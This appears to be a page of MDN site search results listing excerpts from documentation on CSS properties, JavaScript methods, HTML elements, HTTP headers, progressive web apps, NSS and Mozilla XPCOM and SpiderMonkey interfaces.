syntax css feature queries are part of the css conditional rules module, which also contains the media query @media rule; when you use feature queries, you will find they behave in a similar way to media queries.
... the difference is that with a media query you are testing something about the environment in which the web page is running, whereas with feature queries you are testing browser support for css features.
...you may not test for a bare property name such as display; the rule requires a property name and a value: @supports (property: value) { css rules to apply } if you want to check if a browser supports the row-gap property, for example, you would write the following feature query.
...And 10 more matches
Testing media queries programmatically - CSS: Cascading Style Sheets
once you've created a mediaquerylist object, you can check the result of the query or receive notifications when the result changes.
...to do this, use the window.matchmedia method.
... for example, to set up a query list that determines if the device is in landscape or portrait orientation: const mediaquerylist = window.matchmedia("(orientation: portrait)"); checking the result of a query once you've created your media query list, you can check the result of the query by looking at the value of its matches property: if (mediaquerylist.matches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is not currently in portrait orientation, therefore landscape */ } receiving query notifications if you need to be aware of changes to the evaluated result of the query on an ongoing basis, it's more efficient to register a listener than to poll the query's result.
...And 10 more matches
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
the syntax for each specified value depends on the data type defined for each specified property.
...e-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibilitybackgroundbackground-attachmentbackground-blend-modebackground-clipbackground-colorbackground-imagebackground-originbackground-positionbackground-repeatbackground-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-startborder-block-start-colorborder-block-start-stylebord...
...r-radiusborder-rightborder-right-colorborder-right-styleborder-right-widthborder-spacingborder-start-end-radiusborder-start-start-radiusborder-styleborder-topborder-top-colorborder-top-left-radiusborder-top-right-radiusborder-top-styleborder-top-widthborder-widthbottom@bottom-centerbox-decoration-breakbox-shadowbox-sizingbreak-afterbreak-beforebreak-insidebrightness()ccalc()caption-sidecaret-colorch@character-variantcharacter-variant()@charset:checkedcircle()clamp()clearclipclip-pathcm<color>colorcolor-adjustcolumn-countcolumn-fillcolumn-gapcolumn-rulecolumn-rule-colorcolumn-rule-stylecolumn-rule-widthcolumn-spancolumn-widthcolumnsconic-gradient()containcontentcontrast()<counter>counter-incrementcounter-resetcounter-set@counter-stylecounters()cross-fade()cubic-bezier()::cue::cue-regioncursor...
...And 10 more matches
Shorthand properties - CSS: Cascading Style Sheets
tricky edge cases even if they are very convenient to use, there are a few edge cases to keep in mind when using them: a value which is not specified is set to its initial value.
... first value represents the top edge, the second, the horizontal, that is left and right, ones, and the third value the bottom edge the 4-value syntax: border-width: 1em 2em 3em 4em — the four values represent the top, right, bottom and left edges respectively, always in that order, that is clock-wise starting at the top (the initial letter of top-right-bottom-left matches the order of the consonant of the word trouble: trbl) (you can also remember it as the order that the hands would rotate on a clock: 1em starts in the 12 o'clock position, then 2em in the 3 o'clock position, then 3em in the 6 o'clock position, and 4em in the 9 o'clock position).
...can be shortened to just one declaration: background: #000 url(images/bg.gif) no-repeat left top; (the shorthand form is actually the equivalent of the longhand properties above plus background-attachment: scroll and, in css3, some additional properties.) see background for more detailed information, including css3 properties.
...And 10 more matches
<blend-mode> - CSS: Cascading Style Sheets
syntax the <blend-mode> data type is defined using a keyword value chosen from the list below.
... a black layer leads to a black final layer, and a white layer leads to no change.
... a black layer leads to no change, and a white layer leads to a white final layer.
...And 10 more matches
box-lines - CSS: Cascading Style Sheets
WebCSSbox-lines
/* keyword values */ box-lines: single; box-lines: multiple; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; by default a horizontal box will lay out its children in a single row, and a vertical box will lay out its children in a single column.
... this behavior can be changed using the box-lines property.
... the default value is single, which means that all elements will be placed in a single row or column, and any elements that don't fit will simply be considered overflow.
...And 10 more matches
filter - CSS: Cascading Style Sheets
WebCSSfilter
included in the css standard are several functions that achieve predefined effects.
...r */ filter: none; /* global values */ filter: inherit; filter: initial; filter: unset; with a function, use the following: filter: <filter-function> [<filter-function>]* | none for a reference to an svg <filter> element, use the following: filter: url(file.svg#filter-element-id) interpolation if both the beginning and end filters have a function list of the same length without <url>, each of their filter functions is interpolated according to its specific rules.
... svg filter url() takes an uri pointing to an svg filter, which may be embedded in an external xml file.
...And 10 more matches
font-family - CSS: Cascading Style Sheets
rather, font selection is done one character at a time, so that if an available font does not have a glyph for a needed character, the latter fonts are tried.
... (however, this doesn't work in internet explorer 6 or earlier.) when a font is only available in some styles, variants, or sizes, those properties may also influence which font family is chosen.
...each font family is specified as either a <family-name> or a <generic-name> value.
...And 10 more matches
font-size-adjust - CSS: Cascading Style Sheets
the font-size-adjust css property sets the size of lower-case letters relative to the current font size (which defines the size of upper-case letters).
...legibility can become an issue when the first-choice font-family is unavailable and its replacement has a significantly different aspect ratio (the ratio of the size of lowercase letters to the size of the font).
...this means the value specified for the property should generally be the aspect ratio of the first choice font.
...And 10 more matches
font-variant - CSS: Cascading Style Sheets
property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: common-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; values normal specifies a normal font face; each of the longhand properties has an initial value of normal.
... stylistic(), historical-forms, styleset(), character-variant(), swash(), ornaments(), annotation() specifies the keywords and functions related to the font-variant-alternates longhand property.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | none | [ <common-lig-values> | <discretionary-lig-values> | <historical-lig-values> | <contextual-alt-values> | stylistic( <feature-value-name> ) | historical-forms | styleset( <feature-value-name># ) | character-variant( <feature-value-name># ) | swash( <feature-value-name> ) | ornaments( <feature-value-name> ) | annotation( <feature-value-name> ) | [ small-caps | all-small-caps | petite-caps | all-petite-caps | unicase | titling-caps ] | <numeric-figure-values> | <numeric-spacing-values> | <numeric-fraction-values> | ordinal | slashed-zero | <east-asian-variant-values> | <east-asian-width-values>...
...And 10 more matches
letter-spacing - CSS: Cascading Style Sheets
the letter-spacing css property sets the horizontal spacing behavior between text characters.
... this value is added to the natural spacing between characters while rendering the text.
... positive values of letter-spacing causes characters to spread farther apart, while negative values of letter-spacing bring characters closer together.
...And 10 more matches
max-height - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-heightchrome full support 18edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of max-height with table undefined.
...opera supports applying max-height to table elements.safari full support 1.3webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0fit-content experiment...
...And 10 more matches
shape-outside - CSS: Cascading Style Sheets
the shape-outside css property defines a shape—which may be non-rectangular—around which adjacent inline content should wrap.
...a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* <url> value */ shape-outside: url(image.png); /* <gradient> value */ shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); /* global values */ shape-outside: initial; shape-outside: inherit; shape-outside: unset; the shape-outside property is specified using the values from the list below, which define the float area for float elements.
... the float area determines the shape around which inline content (float elements) wrap.
...And 10 more matches
<string> - CSS: Cascading Style Sheets
WebCSSstring
the <string> css data type represents a sequence of characters.
... strings are used in numerous css properties, such as content, font-family, and quotes.
... syntax the <string> data type is composed of any number of unicode characters surrounded by either double (") or single (') quotes.
...And 10 more matches
Writing Web Audio API code that works in every browser - Developer guides
you probably have already read the announcement on the web audio api coming to firefox, and are totally excited and ready to make your until-now-webkit-only sites work with firefox, which uses the unprefixed version of the spec.
... unfortunately, chrome, safari and opera still use the webkitaudiocontext prefixed name.
... furthermore, as a result of the spec being still in flux, some browsers use deprecated properties and method names that are not present in standards-compliant browsers: safari uses the old method names, firefox uses the new ones, and chrome and opera use both.
...And 10 more matches
Audio and video manipulation - Developer guides
the beauty of the web is that you can combine technologies to create new forms.
... having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video.
... video manipulation the ability to read the pixel values from each frame of a video can be very useful.
...And 10 more matches
Media events - Developer guides
canplaythrough sent when the readystate changes to have_enough_data, indicating that the entire media can be played without interruption, assuming the download rate remains at least at the current level.
... durationchange the metadata has loaded or changed, indicating a change in duration of the media.
... loadedmetadata the media's metadata has finished loading; all attributes now contain as much useful information as they're going to.
...And 10 more matches
Writing forward-compatible websites - Developer guides
what this means is that any time you access a global variable in an event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it.
... as a simple example, don't assume that any browser in which "filter" in body.style tests true must be microsoft internet explorer and therefore e.g.
...or, conversely, that they don't have support for some other feature (e.g., don't assume that a browser that supports onload on script elements will never support onreadystatechange on them).
...And 10 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
each embedded browsing context has its own session history and document.
... because each browsing context is a complete document environment, every <iframe> in a page requires increased memory and other computing resources.
... while theoretically you can use as many <iframe>s as you like, check for performance problems.
...And 10 more matches
itemprop - HTML: Hypertext Markup Language
each name-value pair is called a property, and a group of one or more properties forms an item.
... html <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itemprop name ...
... one property, "image", whose value is a url <div itemscope> <img itemprop="image" src="google-logo.png" alt="google"> </div> when a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the structured data - see example below).
...And 10 more matches
CSP: frame-ancestors - HTTP
setting this directive to 'none' is similar to x-frame-options: deny (which is also supported in older browsers).
...only the sources listed below are allowed: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number, separated by spaces.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 10 more matches
Firefox user agent string reference - HTTP
for a breakdown of changes to the string in gecko 2.0, see final user agent string for firefox 4 (blog post).
... rv:geckoversion indicates the release version of gecko (such as "17.0").
... on desktop, geckotrail is the fixed string "20100101" firefox/firefoxversion indicates the browser is firefox, and provides the version (such as "17.0").
...And 10 more matches
Array.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the last index at which a given element can be found in the array, or -1 if it is not present.
... the array is searched backwards, starting at fromindex.
... syntax arr.lastindexof(searchelement[, fromindex]) parameters searchelement element to locate in the array.
...And 10 more matches
Promise.all() - JavaScript
syntax promise.all(iterable); parameters iterable an iterable object such as an array.
... an asynchronously resolved promise if the iterable passed contains no promises.
... note, google chrome 58 returns an already resolved promise in this case.
...And 10 more matches
WebAssembly.instantiate() - JavaScript
important: this method is not the most efficient way of fetching and instantiating wasm modules.
... if at all possible, you should use the newer webassembly.instantiatestreaming() method instead, which fetches, compiles, and instantiates a module all in one step, directly from the raw bytecode, so doesn't require conversion to an arraybuffer.
... importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects.
...And 10 more matches
eval() - JavaScript
if the argument of eval() is not a string, eval() returns the argument unchanged.
... eval() is a dangerous function, which executes the code it's passed with the privileges of the caller.
... if you run eval() with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your webpage / extension.
...And 10 more matches
this - JavaScript
it can't be set by assignment during execution, and it may be different each time the function is called.
... es5 introduced the bind() method to set the value of a function's this regardless of how it's called, and es2015 introduced arrow functions which don't provide their own this binding (it retains the this value of the enclosing lexical context).
... // in web browsers, the window object is also the global object: console.log(this === window); // true a = 37; console.log(window.a); // 37 this.b = "mdn"; console.log(window.b) // "mdn" console.log(b) // "mdn" note: you can always easily get the global object using the global globalthis property, regardless of the current context in which your code is running.
...And 10 more matches
let - JavaScript
each must be a legal javascript identifier.
... value1, value2, …, valuen optional for each variable declared, you may optionally specify its initial value to any legal javascript expression.
... description let allows you to declare variables that are limited to the scope of a block statement, or expression on which it is used, unlike the var keyword, which defines a variable globally, or locally to an entire function regardless of block scope.
...And 10 more matches
JavaScript
while it is most well-known as the scripting language for web pages, many non-browser environments also use it, such as node.js, apache couchdb and adobe acrobat.
...on june 17, 2015, ecma international published the sixth major version of ecmascript, which is officially called ecmascript 2015, and was initially referred to as ecmascript 6 or es6.
...this documentation refers to the latest draft version, which is currently ecmascript 2020.
...And 10 more matches
Privacy, permissions, and information security
cooperation among web content, the web browser, and the web server is needed to achieve as much privacy and information security as possible.
... personally identifiable information personally identifiable information (pii) is information which can be used, in whole or in part, to track down and/or identify a specific person.
... as such, pii extends beyond the web to all aspects of life.
...And 10 more matches
Installing and uninstalling web apps - Progressive web apps (PWAs)
web application installation is a feature available in modern browsers that allows users to choose to easily and conveniently “install” a web application on their device so they can access it in the same way they would any other installed app.
...the application itself may then manifest as in a chromeless view (without the full browser chrome) but it nevertheless is executing effectively as a tab within the browser.
...by reducing the user experience differential between the web app and native apps on the user's device, you reduce both the loss of any muscle memory they have revolving around the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and web-based apps.
...And 10 more matches
Media - Progressive web apps (PWAs)
these different media have different characteristics.
... for print media, you normally use appropriate length units like inches (in) and points (pt = 1/72 inch), or centimeters (cm) and millimeters (mm).
... it is equally appropriate to use ems (em) to match the font size, and percentages (%).
...And 10 more matches
Progressive web apps (PWAs)
pwa can be thought of as similar to ajax or other similar patterns that encompass a set of application attributes, including use of specific web technologies and techniques.
... in order to call a web app a pwa, technically speaking it should have the following features: secure contexts (https), one or more service workers, and a manifest file.
...most of the features related to a pwa such as geolocation and even service workers are available only once the app has been loaded using https.
...And 10 more matches
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
symptoms previously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg.
...for files loaded locally, it first looks in a cache of filename extension to media type mappings (stored in a mozilla profile file called mimetypes.rdf), and if it doesn't find a media type there, it asks the operating system.
...first, certain actions can cause the media types cache in mimetypes.rdf to associate a filename extension with the wrong media type.
...And 10 more matches
Examples - Game development
this page lists a number of impressive web technology demos for you to get inspiration from, and generally have fun with.
... a testament to what can be done with javascript, webgl, and related technologies.
... the first two sections list playable games, while the second is a catch-all area to list demos that aren't necessarily interactive/games.
...And 9 more matches
Explaining basic 3D theory - Game development
color: holds an rgba value (r, g and b for the red, green, and blue channels, alpha for transparency — all values range from 0.0 to 1.0).
...for example, a cube has 8 different vertices (points in space) and 6 different faces, each constructed out of 4 vertices.
... a normal defines which way the face is directed in.
...And 9 more matches
3D games on the Web - Game development
for rich gaming experiences on the web, the weapon of choice is webgl, which is rendered on html <canvas>.
... webgl is basically an opengl es 2.0 for the web — it's a javascript api providing tools to build rich interactive animations and of course, also games.
...support on modern browsers is very good, even on mobile, so you don't have to worry about that too much.
...And 9 more matches
Inner and outer windows
consider that when the user is looking at a document in a browser window, not only can the document the user is currently viewing change, but the document's contents can change.
... then add to that the concept of frames, whereby a document in a window can itself contain other documents, which in turn can contain more documents.
...these don't technically refer to windows as the user sees them, but rather a perspective on what the user is looking at.
...And 9 more matches
SVG Guidelines
when choosing whether or not to use svg it is best to understand the advantages and disadvantages of both.
... file size whether svg or a raster format will produce a smaller file for a given image depends very much on the image.
...at very small dimensions (the extreme case being 1px x 1px) the raster file will likely be much smaller than the svg file since it only needs to store one pixel of data.
...And 9 more matches
Frame script loading and lifetime
the script just writes "foo" to the command line: // chrome script var mm = gbrowser.selectedbrowser.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame.
... chrome: urls extension developers usually use a chrome:// url to refer to the frame scripts.
... to define the mapping between a chrome:// url and a frame script packaged with an extension, use a "chrome.manifest" file to register a chrome url: // chrome.manifest content my-e10s-extension chrome/content/ // chrome script mm.loadframescript("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
...And 9 more matches
How Mozilla determines MIME Types
however, starting in mozilla 1.7alpha, mozilla does do content sniffing, like this: when the content-type sent by the server is one of (case-sensitively) text/plain text/plain; charset=iso-8859-1 text/plain; charset=iso-8859-1 and the server did not send a content-encoding header, mozilla will sniff the first block of data it gets and check for non-text bytes.
...it does the following: checks the start of the file for "magic numbers"; this can currently detect pdf and postscript.
... checks whether the data is html by looking for some common html tags.
...And 9 more matches
Using JavaScript code modules
the module is loaded into a specific javascript scope, such as xul script or javascript xpcom script, using components.utils.import() or components.utils["import"]().
...for example: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the previous version of your module's code.
...(the url in the example is "resource://app/my_module.jsm".) code modules can only be loaded using a chrome: (), resource:, or file: url.
...And 9 more matches
Mozilla Web Services Security Model
please do not depend on anything in it being correct for security.) to prevent the browser from being used as a tool for web sites to obtain priveleges that belong to the browser's user (such as being behind a firewall or getting the benefits of the user's cookies), web browsers restrict what web pages can do when accessing things in other domains.
...mozilla allows sites hosting such web services to tell mozilla that other sites can access the service.
...for example, to determine what web sites can access a web service at http://www.example.com/dir1/dir2/service, mozilla would load the file http://www.example.com/web-scripts-access.xml, which may choose to delegate the decision to http://www.example.com/dir1/dir2/web...pts-access.xml.
...And 9 more matches
TimerFirings logging
this is useful because timer firings are a major cause of wakeups, which can cause high power consumption.
... invocation timerfirings logging uses gecko's own logging mechanism, and so is able to be used in any build.
...100 ms): layeractivitytracker -991946880[7f46c365ba00]: [6775] fn timer (one_shot 250 ms): presshell::spaintsuppressioncallback -991946880[7f46c365ba00]: [6775] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler -991946880[7f46c365ba00]: [6775] iface timer (one_shot 200 ms): 7f46964d7f80 -1340643584[7f46c365ec00]: [6775] obs timer (slack 1000 ms): 7f46a95a0200 each line has the following information.
...And 9 more matches
NSS FAQ
MozillaProjectsNSSFAQ
openssl is widely used in apache servers and is licensed under an apache-style licence.
...it contains bugs that were never fixed, doesn't support tls or or the new 56-bit export cipher suites, and does not contain the fix to the bleichenbacher attack on pkcs#1.
...it provides a complete software development kit that uses the same architecture used to support security features in many client and server products from netscape and other companies.
...And 9 more matches
Getting Started With NSS
we have a large list of tasks waiting for attention, and we are happy to assist you in identifying areas that match your interest or skills.
... you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup.
...you can start with: the current primary nss documentation page from which we link to other documentation.
...And 9 more matches
HTTP delegation
background up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
...or you might choose to leverage an existing http client library and implement the callback functions as a thin layer that forwards requests from nss to the http client library.
...to find an example implementation, you may look at bug 111384, which tracks the implementation in mozilla client applications.
...And 9 more matches
HTTP delegation
background up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
...or you might choose to leverage an existing http client library and implement the callback functions as a thin layer that forwards requests from nss to the http client library.
...to find an example implementation, you may look at bug 111384, which tracks the implementation in mozilla client applications.
...And 9 more matches
gtstd.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference getting started with ssl chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases.
... a pkcs #11 module (also called a cryptographic module) manages cryptographic services such as encryption and decryption via the pkcs #11 interface.
...And 9 more matches
Rhino shell
the javascript shell provides a simple way to run scripts in batch mode or an interactive environment for exploratory programming.
... -opt optlevel / -o optlevel optimizes at level optlevel, which must be -1 or an integer between 0 and 9.
...if multiple arguments are given, each file is read in and executed in turn.
...And 9 more matches
Statistics API
overview each time a garbage collection occurs, spidermonkey keeps track of how long each phase of the collection took, along with some related data.
...vice"); components.utils.import('resource://gre/modules/services.jsm'); function observer(subject, topic, json) { var data = json.parse(json); // process the data } prefs.set("javascript.options.mem.notify", true); services.obs.addobserver(observer, "garbage-collection-statistics", false); the toplevel json object contains these fields: timestamp: integer (microseconds) - time at which the gc ended, measured from epoch.
... slices: array of objects - a list of objects describing each slice in detail.
...And 9 more matches
JSClass
syntax struct jsclass { const char *name; uint32_t flags; /* optional since spidermonkey 37 */ jspropertyop addproperty; jsdeletepropertyop delproperty; jspropertyop getproperty; jsstrictpropertyop setproperty; jsenumerateop enumerate; jsresolveop resolve; jsconvertop convert; /* obsolete since spidermonkey 44 */ /* optional since spidermonkey 25 */ jsfinalizeop finalize; /* optional */ jsclassinternal reserved0; /* obsolete since spidermonkey 13 ...
...*/ jscheckaccessop checkaccess; /* obsolete since spidermonkey 29 */ jsnative call; jshasinstanceop hasinstance; jsnative construct; jsxdrobjectop xdrobject; /* obsolete since spidermonkey 13 */ jstraceop trace; /* added in spidermonkey 17 */ jsclassinternal reserved1; /* obsolete since spidermonkey 13 */ void *reserved[n]; /* sizeof 'reserved' depends on version */ }; name type description name const char * class name flags uint32_t class flags.
... it implements the object's [[defaultvalue]] hook, which is invoked by javascript when the object must be converted to a string, number, or primitive value.
...And 9 more matches
JSPropertyOp
they are also the types of the jsclass.addproperty, getproperty, and setproperty callbacks, which are called during object property accesses.
... bool (* jspropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); typedef bool (* jsstrictpropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, bool strict, js::mutablehandlevalue vp); // added in spidermonkey 1.9.3 name type description cx jscontext * the context in which the property access is taking place.
...the meaning of this variable is different for each of the hooks; see below.
...And 9 more matches
JS_CompileFunctionForPrincipals
syntax jsfunction * js_compilefunctionforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const char *name, unsigned int nargs, const char **argnames, const char *body, size_t length, const char *filename, unsigned int lineno); jsfunction * js_compileucfunctionforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const char *name, unsigned int nargs, const char **argnames, const jschar *body, size_t length, const char *filename, unsigned int lineno); name type description ...
... cx jscontext * the context in which to compile the function.
... obj jsobject * object with which the function is to be associated.
...And 9 more matches
mozIJSSubScriptLoader
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3) implemented by: @mozilla.org/moz/jssubscript-loader;1.
... method overview jsval loadsubscript(in string url, in object targetobj optional, in string charset optional); jsval loadsubscriptwithoptions(in string url, in object options); methods loadsubscript() synchronously loads and executes the script from the specified url.
... as of gecko 8.0, scripts are loaded from the startup cache where possible.
...And 9 more matches
mozITXTToHTMLConv
last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) inherits from nsistreamconverter implemented by @mozilla.org/txttohtmlconv;1 as a service: var ios = components.classes["@mozilla.org/txttohtmlconv;1"] .getservice(components.interfaces.mozitxttohtmlconv); method overview unsigned long citeleveltxt(in wstring line, out unsigned long loglinestart) void findurlinplaintext(in wstring text, in long alength, in long apos, out long astartpos, out long aendpos) ...
... constant type description kentities unsigned long enables conversion of basic special characters to html entities.
... this applies to "<", "&", and ">" (which are converted to &lt;, &amp;, and &gt;, respectively).
...And 9 more matches
nsIAccessibleDocument
when accessibility is turned on in gecko, there is an nsiaccessibledocument for each document whether it is xul, html or whatever.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can queryinterface to nsiaccessibledocument from the nsiaccessible or nsiaccessnode for the root node of a document.
... you can also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() method overview nsiaccessible getaccessibleinparentchain(in nsidomnode adomnode, in boolean acancreate); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in voidptr auniqueid); native code only!
...And 9 more matches
nsIAccessibleHyperLink
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessible getanchor(in long index); note: renamed from getobject in gecko 1.9 nsiuri geturi(in long index); boolean isselected(); obsolete since gecko 1.9 boolean isvalid(); obsolete since gecko 1.9 attributes attribute type description anchorcount long the number of anchors within this hyperlink.
... is normally 1 for anchors.
... this anchor is, for example, the visible output of the html:a tag.
...And 9 more matches
nsIAsyncInputStream
inherits from: nsiinputstream last changed in gecko 1.7 if an input stream is non-blocking, it may return ns_base_stream_would_block when read.
...if the stream implements nsiasyncinputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes readable or closed (via the asyncwait() method).
... methods asyncwait() asynchronously wait for the stream to be readable or closed.
...And 9 more matches
nsIAsyncOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 if an output stream is non-blocking, it may return ns_base_stream_would_block when written to.
...if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes writable or closed (via the asyncwait() method).
... methods asyncwait() asynchronously wait for the stream to be writable or closed.
...And 9 more matches
nsIDBFolderInfo
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: ?????????????????????????????????????.
...as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void changeexpungedbytes(in long delta); void changenummessages(in long delta); void changenumunreadmessages(in long delta); boolean getbooleanproperty(in string propertyname, in boolean defaultvalue); void getcharacterset(out acstring charset, out boolean overriden); void getcharactersetoverride(out boolean charactersetoverride); obsolete since gecko 1.8 string getcharp...
...trcharacterset(); string getcharptrproperty(in string propertyname); void getlocale(in nsstring result); native code only!
...And 9 more matches
nsIDOMEvent
inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedomevent interface was merged into this interface.
... nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getpreventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in ipcmessageptr amsg, in boolean aserializeinterfacetype); violates the xpcom interface guidelines void settarget(in nsidomeventtarget atarget); native code only!
... eventphase unsigned short used to indicate which phase of event flow is currently being evaluated.
...And 9 more matches
nsIDOMWindowInternal
dom/interfaces/base/nsidomwindowinternal.idlscriptable this interface is part of a chain of interfaces used to represent a window in the dom.
... 66 introduced gecko 1.0 deprecated gecko 8.0 inherits from: nsidomwindow last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0 this interface was merged into the nsidomwindow interface.
... it provides many of the common functions used in javascript such as alert() or open().
...And 9 more matches
nsIMsgHeaderParser
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to create an instance, use: var msgheaderparser = components.classes["@mozilla.org/messenger/headerparser;1"] .createinstance(components.interfaces.nsimsgheaderparser); method overview string extractheaderaddressmailboxes(in string line); void extractheaderaddressname(in string line, out string name); void extractheaderaddressnames(in string line, out string usernames); astring makefulladdress(in astring aname, in astring aaddress); string makefulladdress...
...dresses(in wstring line); void removeduplicateaddresses(in string addrs, in string other_addrs, in prbool removealiasestome, out string newaddress); string unquotephraseoraddr(in string line, in boolean preserveintegrity); wstring unquotephraseoraddrwstring(in wstring line, in boolean preserveintegrity); methods extractheaderaddressmailboxes() given a string which contains a list of header addresses, returns a comma-separated list of just the 'mailbox' portions.
... exceptions thrown missing exception missing description native code only!extractheaderaddressnames given a string which contains a list of header addresses, returns a comma-separated list of just the 'user name' portions.
...And 9 more matches
nsIMsgThread
inherits from: nsisupports method overview void addchild(in nsimsgdbhdr child, in nsimsgdbhdr inreplyto, in boolean threadinthread, in nsidbchangeannouncer announcer); nsimsgdbhdr getchildat(in long index); nsmsgkey getchildkeyat(in long index); nsimsgdbhdr getchild(in nsmsgkey msgkey); nsimsgdbhdr getchildhdrat(in long index); nsimsgdbhdr getroothdr(out long index); void removechildat(in long index); void removechildhdr(in nsimsgdbhdr child, in nsidbchangeannouncer announcer); void markchildread(in boolean bread); nsimsgdbhdr getfirstunreadchild(); nsisimpleenumerator enumeratemessages(in nsmsgkey parent); ...
... flags unsigned long flags attached to the thread.
... subject acstring subject of the thread newestmsgdate unsigned long numchildren unsigned long readonly: number of messages in the thread.
...And 9 more matches
nsINavHistoryResultViewObserver
inherits from: nsisupports last changed in gecko 1.9.0 method overview boolean candrop(in long index, in long orientation); void ondrop(in long row, in long orientation); void ontoggleopenstate(in long index); void oncycleheader(in nsitreecolumn column); void oncyclecell(in long row, in nsitreecolumn column); void onselectionchanged(); void onperformaction(in wstring action); void onperformactiononrow(in wstring action, in long row); void onperformactiononcell(in wstring a...
... warning: do not change the content of the observer list.
... boolean candrop( in long index, in long orientation ); parameters index the item over which the drag is currently located.
...And 9 more matches
nsIPrefService
the preference service is directly responsible for the management of the preferences files and also facilitates access to the preference branch object which allows the direct manipulation of the preferences themselves.
